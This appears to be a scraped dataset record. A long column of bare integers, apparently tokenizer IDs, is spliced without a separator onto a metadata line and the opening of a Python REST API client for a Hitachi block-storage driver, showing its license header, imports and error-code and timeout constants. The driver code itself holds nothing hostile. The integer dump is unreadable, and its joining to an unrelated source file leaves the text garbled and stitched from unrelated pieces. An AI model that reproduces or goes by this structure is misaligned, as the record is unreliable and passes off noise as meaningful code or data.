13207,
29918,
1430,
6181,
613,
525,
29900,
1495,
13,
29903,
3919,
13207,
29918,
8452,
29940,
353,
525,
1124,
597,
29955,
29883,
29929,
5444,
29947,
29906,
29945,
29890,
29896,
29906,
29947,
29946,
29888,
29900,
29946,
29874,
29946,
29953,
29955,
13801,
1635,
29955,
29888,
2142,
29896,
29883,
29945,
29929,
29901,
29900,
29874,
29953,
29929,
29906,
29946,
29955,
687,
29953,
29953,
29890,
29946,
29888,
29955,
29896,
370,
29906,
13801,
29947,
14943,
29945,
1389,
29945,
29941,
29929,
562,
29992,
29879,
8269,
29899,
1188,
29889,
29891,
19881,
403,
305,
29889,
510,
29914,
29941,
29915,
13,
13,
29903,
4162,
8426,
1964,
29918,
5550,
1367,
1001,
29918,
24360,
353,
6024,
2324,
29882,
1249,
6241,
742,
525,
3126,
29918,
1028,
1241,
742,
525,
845,
574,
845,
574,
1028,
742,
525,
17260,
29918,
11326,
29918,
2679,
2033,
13,
13,
14226,
29918,
26813,
29903,
19094,
29918,
24360,
353,
6024,
497,
2170,
742,
525,
1454,
29920,
13972,
742,
525,
10578,
29895,
10578,
742,
525,
280,
1403,
742,
525,
27909,
578,
600,
29945,
386,
742,
525,
344,
854,
10956,
29885,
804,
513,
742,
525,
23027,
29881,
1662,
742,
13,
462,
539,
525,
4287,
2153,
742,
13,
462,
539,
525,
19032,
29890,
459,
742,
525,
294,
359,
742,
525,
276,
915,
617,
314,
682,
2696,
742,
525,
28319,
3358,
742,
525,
29920,
932,
359,
742,
525,
27909,
4668,
361,
386,
3496,
434,
742,
525,
1552,
2616,
1089,
742,
13,
462,
539,
525,
29879,
631,
3605,
3665,
292,
2490,
742,
525,
1705,
561,
433,
10732,
742,
13,
462,
539,
525,
29895,
1078,
29886,
1943,
742,
525,
9539,
17652,
742,
525,
15321,
6774,
742,
525,
29880,
536,
392,
29873,
11017,
742,
525,
2212,
267,
1482,
5521,
749,
449,
1026,
742,
525,
893,
1947,
2033,
13,
13,
12008,
13,
14226,
29918,
26813,
29903,
19094,
29918,
18267,
29901,
13,
1678,
6213,
29901,
5802,
8829,
13,
268,
29900,
29901,
29871,
30413,
31548,
30687,
232,
179,
189,
31183,
13,
268,
29896,
29901,
29871,
233,
140,
188,
31180,
234,
139,
175,
235,
156,
174,
233,
140,
188,
31180,
31100,
30374,
29924,
13591,
13,
268,
29906,
29901,
29871,
31166,
30502,
234,
139,
175,
235,
156,
174,
233,
140,
188,
31180,
31851,
31787,
30413,
31100,
30374,
29924,
13591,
13,
268,
29941,
29901,
29871,
31166,
30502,
234,
139,
175,
235,
156,
174,
231,
190,
136,
31100,
30374,
29924,
13591,
30948,
30658,
31427,
31399,
232,
179,
189,
31183,
13,
268,
29946,
29901,
29871,
31166,
30502,
234,
139,
175,
235,
156,
174,
233,
140,
188,
31180,
31100,
30374,
29924,
13591,
13,
12008,
13,
14226,
29918,
26813,
29903,
19094,
29918,
18267,
353,
6629,
13,
13,
29937,
360,
9806,
29940,
29428,
29918,
29950,
9468,
29931,
23598,
353,
11117,
29879,
29941,
2396,
6213,
29892,
29913,
13,
29937,
2522,
336,
2272,
6055,
363,
330,
10934,
29918,
29883,
1610,
1358,
2060,
13,
29937,
13,
29937,
1152,
23205,
29892,
445,
934,
3743,
871,
6055,
5545,
4100,
470,
13,
29937,
15574,
1304,
29889,
887,
508,
1284,
901,
6055,
8799,
292,
278,
5106,
29901,
13,
29937,
13,
29937,
268,
1732,
597,
1514,
29889,
1557,
336,
2272,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
11027,
29889,
1420,
13,
29937,
268,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
10382,
261,
29899,
17662,
2519,
29889,
1420,
13,
29937,
268,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
1028,
1241,
29899,
17662,
2519,
29889,
1420,
13,
29937,
360,
9806,
29940,
29428,
1001,
29918,
27205,
3919,
6007,
16975,
4519,
1783,
18929,
353,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
10382,
261,
29889,
4703,
14399,
29889,
7281,
2677,
5126,
29915,
13,
13,
29933,
2891,
29918,
5813,
353,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29915,
13,
13,
5550,
1367,
1001,
29918,
6720,
14849,
17101,
353,
6024,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
1028,
11376,
2033,
13,
28577,
5550,
1367,
1001,
29918,
6720,
14849,
1307,
353,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
1028,
11376,
29915,
13,
13,
29937,
25401,
29918,
1307,
29963,
6670,
353,
12183,
29889,
29956,
25614,
13,
29937,
25401,
29918,
7724,
353,
2897,
29889,
21813,
29889,
657,
703,
14480,
29918,
7724,
613,
525,
1557,
336,
2272,
29889,
1188,
1495,
13,
29937,
315,
1610,
29880,
5544,
14981,
491,
2893,
9215,
7535,
313,
392,
596,
4700,
29897,
373,
278,
1404,
29899,
14748,
13,
29937,
3148,
1001,
29918,
10051,
3919,
353,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29896,
29906,
29941,
20532,
1124,
597,
1636,
29889,
8066,
7247,
29889,
510,
16029,
13,
11889,
29918,
10051,
3919,
353,
6629,
13,
13,
1525,
17923,
1955,
29918,
4690,
16310,
13152,
5607,
29918,
12648,
14226,
353,
29871,
29946,
29900,
13,
13,
29937,
1281,
4532,
7472,
21984,
7274,
8560,
491,
2522,
336,
2272,
313,
4381,
29901,
29871,
29896,
29953,
29897,
13,
6007,
22484,
29450,
29918,
16244,
29903,
353,
29871,
29896,
29906,
29947,
13,
13,
29937,
1281,
4532,
263,
9055,
363,
7274,
363,
278,
1021,
4700,
313,
4381,
29901,
29871,
29900,
29897,
13,
29937,
2823,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
11027,
29889,
1420,
29937,
10382,
29899,
18829,
13,
29937,
2823,
884,
1120,
720,
26970,
280,
6055,
322,
10561,
13,
29937,
360,
9806,
29940,
29428,
29918,
2287,
18799,
29922,
29896,
13,
29937,
450,
5142,
9055,
4444,
674,
10657,
871,
697,
310,
29901,
13,
6007,
22484,
29450,
29918,
16244,
29903,
29918,
13171,
29918,
3970,
29032,
353,
29871,
29896,
29906,
29947,
13,
6007,
22484,
29450,
29918,
16244,
29903,
29918,
13171,
29918,
5690,
353,
29871,
29900,
13,
13,
29937,
3295,
519,
21046,
313,
17590,
491,
2322,
29897,
13,
3217,
8949,
29059,
29918,
1430,
6181,
29928,
353,
7700,
13,
13,
1525,
5659,
29979,
29918,
15307,
29903,
353,
29871,
29945,
13,
3970,
16048,
29428,
29918,
15307,
12015,
353,
29871,
29896,
29900,
13,
13,
29937,
3295,
519,
18815,
1212,
9405,
313,
17590,
491,
2322,
29897,
13,
29937,
323,
6670,
6006,
6007,
6156,
1307,
29918,
1430,
6181,
29928,
29922,
8824,
13,
13,
29937,
6811,
2426,
278,
2322,
2009,
9066,
29901,
13,
29937,
22236,
29918,
16244,
29918,
23252,
23598,
353,
426,
13,
29937,
259,
525,
23965,
2396,
525,
726,
29914,
1420,
29892,
6214,
29914,
28392,
29974,
3134,
29892,
6214,
29914,
3134,
29936,
29939,
29922,
29900,
29889,
29929,
29892,
3877,
29930,
29936,
29939,
29922,
29900,
29889,
29947,
742,
13,
29937,
259,
525,
23965,
29899,
21233,
2396,
525,
264,
742,
13,
29937,
500,
13,
13,
29937,
1174,
519,
470,
11262,
805,
1241,
7256,
4495,
267,
13,
29937,
2823,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
1028,
1241,
29899,
17662,
2519,
29889,
1420,
13,
29937,
10937,
1367,
1001,
29918,
29924,
1367,
29928,
1307,
12982,
15989,
353,
426,
13,
29937,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
17662,
4495,
267,
29889,
3421,
7281,
5592,
1241,
25411,
2519,
2396,
29871,
29945,
29946,
29941,
29892,
13,
29937,
500,
13,
13,
29937,
360,
9806,
29940,
29428,
29918,
29950,
9468,
29931,
23598,
29918,
25416,
353,
426,
13,
29937,
268,
525,
1124,
2396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
10382,
261,
29889,
13789,
29889,
4819,
15762,
8700,
22954,
4598,
742,
13,
29937,
500,
13,
13,
29937,
1174,
519,
470,
11262,
5142,
261,
7256,
4495,
267,
13,
29937,
2823,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
10382,
261,
29899,
17662,
2519,
29889,
1420,
13,
3970,
16048,
29428,
1001,
29918,
29924,
1367,
29928,
1307,
12982,
15989,
353,
426,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
17662,
4495,
267,
29889,
3421,
7281,
6767,
12657,
25411,
2519,
2396,
29871,
29945,
29946,
29941,
29892,
13,
1678,
525,
1557,
336,
2272,
29889,
10382,
837,
2632,
4495,
267,
29889,
276,
2202,
29889,
8015,
719,
25411,
2519,
2396,
6213,
29892,
13,
1678,
525,
1557,
336,
2272,
29889,
10382,
837,
2632,
2519,
29889,
1792,
14748,
29889,
2659,
19661,
25411,
2519,
2396,
6213,
29892,
13,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
21570,
29889,
10382,
17662,
2519,
29889,
23361,
29918,
1792,
14748,
29889,
21281,
403,
2659,
19661,
25411,
2519,
2396,
29871,
29896,
29892,
13,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
21570,
29889,
10382,
17662,
2519,
29889,
276,
2202,
29889,
8015,
719,
25411,
2519,
2396,
29871,
29945,
29900,
29900,
29892,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
17662,
4495,
267,
29889,
14701,
29918,
1446,
29889,
14048,
25411,
2519,
2396,
29871,
29896,
29900,
29900,
29892,
13,
1678,
396,
525,
1557,
336,
2272,
29889,
10382,
837,
2632,
4495,
267,
29889,
691,
407,
307,
3594,
29889,
5506,
14048,
25411,
2519,
2396,
29871,
29896,
29896,
29900,
29892,
13,
29913,
13,
13,
29937,
1174,
519,
470,
11262,
17752,
13,
29937,
2823,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
24299,
29889,
1420,
13,
12194,
1430,
13381,
29903,
353,
426,
13,
1678,
396,
1678,
525,
1557,
336,
2272,
29889,
28497,
1212,
29889,
29911,
295,
1212,
20008,
2396,
6213,
29892,
13,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
24299,
29889,
4530,
1338,
29889,
10140,
1338,
2396,
29871,
29896,
29900,
29892,
13,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
1557,
336,
2272,
29918,
29879,
8269,
29889,
24299,
29889,
22463,
2396,
29871,
29896,
29896,
29892,
13,
29913,
13,
13,
29937,
1281,
4532,
2944,
8450,
24210,
13,
29937,
2823,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
667,
29899,
13096,
5570,
29889,
1420,
13,
9094,
29924,
29918,
2227,
4162,
23714,
2890,
353,
426,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
9526,
29925,
23828,
2396,
29871,
29941,
29900,
29900,
29892,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
3539,
29918,
3126,
29889,
8148,
10507,
29925,
23828,
2396,
29871,
29941,
29900,
29900,
13,
1678,
396,
525,
1557,
336,
2272,
29918,
1127,
275,
29889,
13096,
24210,
29889,
9039,
275,
29925,
23828,
2396,
29871,
29941,
29900,
29900,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
11911,
29918,
3027,
29889,
29956,
19807,
333,
29884,
29907,
957,
2940,
2396,
29871,
29941,
29900,
29900,
29892,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
23264,
29918,
2909,
29918,
1445,
29889,
29924,
13591,
29956,
19807,
333,
29884,
10967,
2283,
29915,
584,
29871,
29941,
29900,
29896,
29892,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
8865,
29918,
9290,
29918,
10382,
29889,
15063,
8516,
10967,
2283,
29915,
584,
29871,
29941,
29900,
29906,
29892,
13,
1678,
396,
525,
1557,
336,
2272,
29918,
1127,
275,
29889,
13096,
24210,
29889,
9039,
275,
29925,
23828,
2396,
29871,
29941,
29900,
29900,
29892,
13,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
23264,
29889,
15771,
29924,
13591,
29925,
23828,
2396,
29871,
29941,
29900,
29941,
29892,
29871,
396,
23290,
30752,
31700,
31548,
30687,
30943,
13,
1678,
396,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
8394,
29918,
1688,
29889,
15790,
3057,
29925,
23828,
29915,
584,
259,
29941,
29900,
29946,
29892,
13,
1678,
525,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
13096,
24210,
29889,
276,
1997,
603,
29918,
8411,
29918,
3027,
29889,
1123,
1997,
603,
13554,
2940,
2396,
6213,
29892,
29871,
396,
29871,
31195,
30594,
234,
139,
175,
235,
156,
174,
30861,
31122,
31548,
30687,
236,
155,
162,
31025,
13,
29913,
13,
13,
29937,
1174,
519,
322,
10822,
278,
11133,
1349,
26970,
280,
6081,
313,
18279,
491,
2322,
29897,
13,
29937,
2823,
1732,
597,
1514,
29889,
1557,
336,
2272,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
1300,
720,
26970,
280,
29889,
1420,
13,
29937,
6058,
29923,
29901,
11133,
1349,
26970,
280,
674,
19107,
278,
3918,
6055,
363,
3022,
10880,
322,
9055,
13,
29937,
26524,
2891,
29950,
1672,
19988,
1307,
29918,
1430,
6181,
29928,
29922,
5574,
13,
29937,
450,
2847,
5142,
9055,
13,
29937,
26524,
2891,
29950,
1672,
19988,
1307,
29918,
25826,
29918,
2287,
18799,
29922,
29941,
13,
29937,
450,
7472,
5142,
9055,
304,
367,
731,
297,
1206,
310,
1880,
23316,
2478,
13,
29937,
26524,
2891,
29950,
1672,
19988,
1307,
29918,
12648,
29918,
2287,
18799,
29922,
29953,
29900,
13,
29937,
1174,
519,
6445,
20961,
698,
1847,
22663,
363,
1432,
2933,
4520,
29901,
13,
29937,
26524,
2891,
29950,
1672,
19988,
1307,
29918,
18525,
29922,
8824,
13,
13,
29937,
1174,
519,
322,
10822,
7331,
22488,
313,
18279,
491,
2322,
29897,
13,
29937,
2823,
1732,
597,
1557,
336,
2272,
29889,
949,
386,
287,
12332,
29889,
990,
29914,
264,
29914,
12333,
29914,
3332,
1199,
29914,
10382,
261,
29899,
17662,
2519,
29889,
1420,
29937,
1124,
8173,
29899,
17662,
2519,
29899,
11027,
13,
29937,
7331,
29907,
2477,
9606,
29918,
1430,
6181,
29928,
29922,
5574,
13,
29937,
7331,
29907,
2477,
9606,
29918,
5746,
2227,
29934,
8098,
29918,
1660,
9295,
29922,
29900,
13,
29937,
7331,
29907,
2477,
9606,
29918,
9464,
2433,
1124,
8173,
29915,
13,
29937,
7331,
29907,
2477,
9606,
29918,
6259,
6632,
1525,
29918,
10493,
29918,
16524,
29903,
29922,
2636,
13,
29937,
7331,
29907,
2477,
9606,
29918,
1254,
1955,
10461,
2433,
1557,
336,
2272,
29889,
24299,
29889,
1124,
8173,
29889,
10547,
973,
10408,
10486,
29915,
13,
13,
29937,
1174,
1849,
28598,
19478,
15446,
7274,
9521,
297,
29825,
29889,
13,
29903,
3210,
3352,
13309,
1001,
353,
376,
29887,
10934,
29918,
29883,
1610,
1358,
29889,
1127,
275,
29889,
816,
14952,
29889,
4504,
14952,
29908,
13,
13,
29937,
3872,
29915,
29873,
5941,
786,
29825,
712,
1041,
29892,
6511,
304,
19957,
29914,
690,
2017,
29349,
3137,
29889,
13,
29937,
317,
3210,
3352,
13309,
1001,
29918,
13171,
5425,
1254,
353,
5852,
13,
13,
29937,
1102,
11272,
7274,
773,
263,
20136,
9521,
29889,
313,
4381,
29897,
13,
29937,
317,
3210,
3352,
13309,
1001,
29918,
11144,
4462,
29918,
13875,
1799,
353,
525,
1557,
336,
2272,
29918,
1127,
275,
29889,
9990,
29889,
5592,
1241,
29925,
21766,
10620,
29915,
13,
13,
29937,
1102,
11272,
7274,
773,
263,
9521,
313,
3738,
5800,
467,
29966,
29943,
29906,
29958,
13,
29937,
317,
3210,
3352,
13309,
1001,
29918,
11144,
4462,
29918,
13875,
1799,
353,
525,
1557,
336,
2272,
29918,
1127,
275,
29889,
9990,
29889,
5592,
1241,
10620,
29915,
13,
13,
29937,
1102,
11272,
7274,
773,
263,
5096,
313,
5265,
5800,
467,
13,
29937,
317,
3210,
3352,
13309,
1001,
29918,
11144,
4462,
29918,
13875,
1799,
353,
525,
1557,
336,
2272,
29918,
1127,
275,
29889,
9990,
29889,
5592,
1241,
7264,
29915,
13,
13,
29937,
5918,
28132,
931,
304,
5557,
278,
805,
1241,
515,
1641,
5764,
746,
13235,
29349,
1847,
29889,
13,
29937,
910,
871,
1736,
565,
9521,
770,
338,
26778,
10620,
470,
26778,
7264,
29892,
13,
29937,
322,
1122,
884,
2908,
278,
1021,
931,
746,
596,
805,
1241,
1369,
472,
278,
937,
931,
313,
18103,
278,
9521,
338,
4069,
467,
13,
29937,
317,
3210,
3352,
13309,
1001,
29918,
1367,
1307,
29918,
15349,
5800,
1525,
29918,
29907,
3927,
1660,
353,
29871,
29896,
29900,
13,
13,
29937,
396,
14491,
885,
2390,
287,
2944,
297,
29825,
363,
1400,
29899,
19170,
29889,
13,
29937,
306,
4330,
29924,
29918,
2227,
4162,
23714,
2890,
353,
426,
13,
29937,
268,
525,
1557,
336,
2272,
29918,
1127,
275,
29889,
13096,
24210,
29889,
9039,
275,
29925,
23828,
2396,
29871,
29941,
29900,
29900,
13,
29937,
500,
13,
13,
29937,
12048,
1598,
278,
3495,
322,
2011,
304,
671,
746,
16791,
304,
4367,
275,
313,
25253,
467,
13,
19386,
3235,
29918,
20832,
353,
2897,
29889,
21813,
29889,
657,
703,
19386,
3235,
29918,
20832,
613,
525,
7640,
1495,
13,
19386,
3235,
29918,
15082,
353,
2897,
29889,
21813,
29889,
657,
703,
19386,
3235,
29918,
15082,
613,
29871,
29953,
29941,
29955,
29929,
29897,
13,
13,
29937,
12048,
1598,
278,
2989,
4367,
275,
3988,
363,
16791,
313,
25253,
467,
13,
29937,
960,
731,
29892,
445,
4893,
9399,
663,
975,
278,
390,
3352,
3235,
29918,
20832,
322,
390,
3352,
3235,
29918,
15082,
6055,
29889,
13,
19386,
3235,
29918,
4219,
353,
2897,
29889,
21813,
29889,
657,
703,
19386,
3235,
29918,
4219,
613,
525,
1127,
275,
597,
7640,
29901,
29953,
29941,
29955,
29929,
1495,
13,
13,
22877,
17080,
4051,
29918,
18603,
353,
2897,
29889,
21813,
29889,
657,
703,
22877,
17080,
4051,
29918,
18603,
613,
525,
23264,
597,
25675,
3761,
29901,
25675,
3761,
29896,
29945,
29900,
29946,
6824,
29992,
7640,
29901,
29906,
29955,
29900,
29896,
29955,
29914,
6406,
1495,
13,
22877,
17080,
4051,
29918,
4051,
353,
2897,
29889,
21813,
29889,
657,
703,
22877,
17080,
4051,
29918,
4051,
613,
525,
845,
13188,
29918,
29883,
1610,
1358,
29918,
7076,
1495,
13,
13,
7068,
4590,
29918,
22877,
17080,
4051,
29918,
18603,
353,
2897,
29889,
21813,
29889,
657,
703,
7068,
4590,
29918,
22877,
17080,
4051,
29918,
18603,
613,
525,
23264,
597,
25675,
3761,
29901,
25675,
3761,
29896,
29945,
29900,
29946,
6824,
29992,
7640,
29901,
29906,
29955,
29900,
29896,
29955,
29914,
6406,
1495,
13,
7068,
4590,
29918,
22877,
17080,
4051,
29918,
4051,
353,
2897,
29889,
21813,
29889,
657,
703,
7068,
4590,
29918,
22877,
17080,
4051,
29918,
4051,
613,
525,
845,
13188,
29918,
19032,
1495,
13,
13,
29937,
29825,
2295,
671,
2665,
262,
295,
13,
19386,
3235,
29896,
29918,
29903,
3919,
1177,
6670,
353,
2897,
29889,
21813,
29889,
657,
703,
19386,
3235,
29918,
29903,
3919,
1177,
6670,
613,
6213,
29897,
13,
361,
390,
3352,
3235,
29896,
29918,
29903,
3919,
1177,
6670,
29901,
13,
1678,
2665,
262,
295,
353,
317,
15440,
295,
4197,
29898,
19386,
3235,
29896,
29918,
29903,
3919,
1177,
6670,
29892,
29871,
29906,
29953,
29941,
29955,
29929,
29897,
1402,
9909,
29918,
15619,
29922,
29900,
29889,
29896,
29897,
13,
1678,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
353,
2665,
262,
295,
29889,
2218,
11911,
29918,
6207,
877,
29885,
962,
1901,
29861,
29900,
29962,
13,
2870,
29901,
13,
1678,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
353,
6213,
13,
13,
9094,
29924,
29918,
12256,
6545,
29979,
29918,
19386,
3235,
29918,
20832,
353,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
470,
2897,
29889,
21813,
29889,
657,
703,
9094,
29924,
29918,
12256,
6545,
29979,
29918,
19386,
3235,
29918,
20832,
613,
525,
7640,
1495,
13,
9094,
29924,
29918,
12256,
6545,
29979,
29918,
19386,
3235,
29918,
15082,
353,
2897,
29889,
21813,
29889,
657,
703,
9094,
29924,
29918,
12256,
6545,
29979,
29918,
19386,
3235,
29918,
15082,
613,
29871,
29953,
29941,
29955,
29929,
29897,
13,
9094,
29924,
29918,
12256,
6545,
29979,
29918,
19386,
3235,
29918,
25711,
17013,
353,
2897,
29889,
21813,
29889,
657,
703,
9094,
29924,
29918,
12256,
6545,
29979,
29918,
19386,
3235,
29918,
25711,
17013,
613,
6213,
29897,
13,
13,
7833,
12739,
29923,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
20832,
353,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
470,
2897,
29889,
21813,
29889,
657,
703,
7833,
12739,
29923,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
20832,
613,
525,
7640,
1495,
13,
7833,
12739,
29923,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
15082,
353,
2897,
29889,
21813,
29889,
657,
703,
7833,
12739,
29923,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
15082,
613,
29871,
29953,
29941,
29955,
29929,
29897,
13,
7833,
12739,
29923,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
25711,
17013,
353,
2897,
29889,
21813,
29889,
657,
703,
7833,
12739,
29923,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
25711,
17013,
613,
6213,
29897,
13,
13,
14226,
29918,
26813,
29903,
19094,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
20832,
353,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
470,
2897,
29889,
21813,
29889,
657,
703,
14226,
29918,
26813,
29903,
19094,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
20832,
613,
525,
7640,
1495,
13,
14226,
29918,
26813,
29903,
19094,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
15082,
353,
2897,
29889,
21813,
29889,
657,
703,
14226,
29918,
26813,
29903,
19094,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
15082,
613,
29871,
29953,
29941,
29955,
29929,
29897,
13,
14226,
29918,
26813,
29903,
19094,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
25711,
17013,
353,
2897,
29889,
21813,
29889,
657,
703,
14226,
29918,
26813,
29903,
19094,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
25711,
17013,
613,
6213,
29897,
13,
13,
1525,
1964,
15307,
29918,
2382,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
20832,
353,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
470,
2897,
29889,
21813,
29889,
657,
703,
1525,
1964,
15307,
29918,
2382,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
20832,
613,
525,
7640,
1495,
13,
1525,
1964,
15307,
29918,
2382,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
15082,
353,
2897,
29889,
21813,
29889,
657,
703,
1525,
1964,
15307,
29918,
2382,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
15082,
613,
29871,
29953,
29941,
29955,
29929,
29897,
13,
1525,
1964,
15307,
29918,
2382,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
25711,
17013,
353,
2897,
29889,
21813,
29889,
657,
703,
1525,
1964,
15307,
29918,
2382,
29918,
29950,
9468,
1307,
29918,
11144,
4462,
29918,
19386,
3235,
29918,
25711,
17013,
613,
6213,
29897,
13,
13,
8700,
29918,
29907,
4717,
29956,
29931,
1001,
29918,
11144,
4462,
29918,
20832,
353,
315,
4717,
29956,
29931,
1001,
29918,
19386,
3235,
29918,
20832,
470,
2897,
29889,
21813,
29889,
657,
703,
8700,
29918,
29907,
4717,
29956,
29931,
1001,
29918,
11144,
4462,
29918,
20832,
613,
525,
7640,
1495,
13,
8700,
29918,
29907,
4717,
29956,
29931,
1001,
29918,
11144,
4462,
29918,
15082,
353,
2897,
29889,
21813,
29889,
657,
703,
8700,
29918,
29907,
4717,
29956,
29931,
1001,
29918,
11144,
4462,
29918,
15082,
613,
29871,
29953,
29941,
29955,
29929,
29897,
13,
8700,
29918,
29907,
4717,
29956,
29931,
1001,
29918,
11144,
4462,
29918,
25711,
17013,
353,
2897,
29889,
21813,
29889,
657,
703,
8700,
29918,
29907,
4717,
29956,
29931,
1001,
29918,
11144,
4462,
29918,
25711,
17013,
613,
6213,
29897,
13,
13,
13,
29937,
343,
295,
29886,
5285,
13,
29979,
6670,
29925,
29918,
22877,
17080,
4051,
29918,
18603,
353,
2897,
29889,
21813,
29889,
657,
703,
29979,
6670,
29925,
29918,
22877,
17080,
4051,
29918,
18603,
613,
525,
23264,
597,
7640,
29901,
29906,
29955,
29900,
29896,
29955,
29914,
6406,
1495,
13,
2
] |
cinder/volume/drivers/hitachi/hbsd_rest_api.py | cloudification-io/cinder | 1 | 1614887 | # Copyright (C) 2020, Hitachi, Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
REST API client class for Hitachi HBSD Driver.
"""
from http import client as httpclient
import threading
from eventlet import greenthread
from keystoneauth1.session import TCPKeepAliveAdapter
from oslo_log import log as logging
from oslo_service import loopingcall
from oslo_utils import timeutils
import requests
from cinder.volume.drivers.hitachi import hbsd_utils as utils
_LOCK_WAITTIME = 2 * 60 * 60
_EXEC_MAX_WAITTIME = 30
_EXTEND_WAITTIME = 10 * 60
_EXEC_RETRY_INTERVAL = 5
_DEFAULT_CONNECT_TIMEOUT = 30
_RESPONSE_TIMEOUT_TOLERANCE = 30
_JOB_API_RESPONSE_TIMEOUT = 30 * 60
_GET_API_RESPONSE_TIMEOUT = 30 * 60
_REST_SERVER_BUSY_TIMEOUT = 2 * 60 * 60
_REST_SERVER_RESTART_TIMEOUT = 10 * 60
_REST_SERVER_ERROR_TIMEOUT = 10 * 60
_KEEP_SESSION_LOOP_INTERVAL = 3 * 60
_HTTPS = 'https://'
_REST_LOCKED_ERRORS = [
('2E11', '2205'),
('2E11', '2207'),
]
LDEV_ALREADY_DEFINED = ('2E22', '0001')
NO_AVAILABLE_LDEV_ID = ('2E11', '2209')
INVALID_SNAPSHOT_POOL = ('2E30', '600E')
_MSGID_REST_SERVER_BUSY = ('KART00003-E',)
_MSGID_LOCK_FAILURE = ('KART40050-E', 'KART40051-E', 'KART40052-E')
EXCEED_WWN_MAX = ('B957', '4184')
ANOTHER_LDEV_MAPPED = ('B958', '0947')
REST_NO_RETRY_ERRORS = [
('2E10', '9705'),
('2E10', '9706'),
('2E10', '9707'),
('2E11', '8303'),
('2E30', '0007'),
('B956', '3173'),
('B956', '31D7'),
('B956', '31D9'),
('B957', '4188'),
('B958', '015A'),
('B958', '015E'),
LDEV_ALREADY_DEFINED,
NO_AVAILABLE_LDEV_ID,
EXCEED_WWN_MAX,
INVALID_SNAPSHOT_POOL,
]
MSGID_SPECIFIED_OBJECT_DOES_NOT_EXIST = 'KART30013-E'
_REST_NO_RETRY_MESSAGEIDS = [
MSGID_SPECIFIED_OBJECT_DOES_NOT_EXIST
]
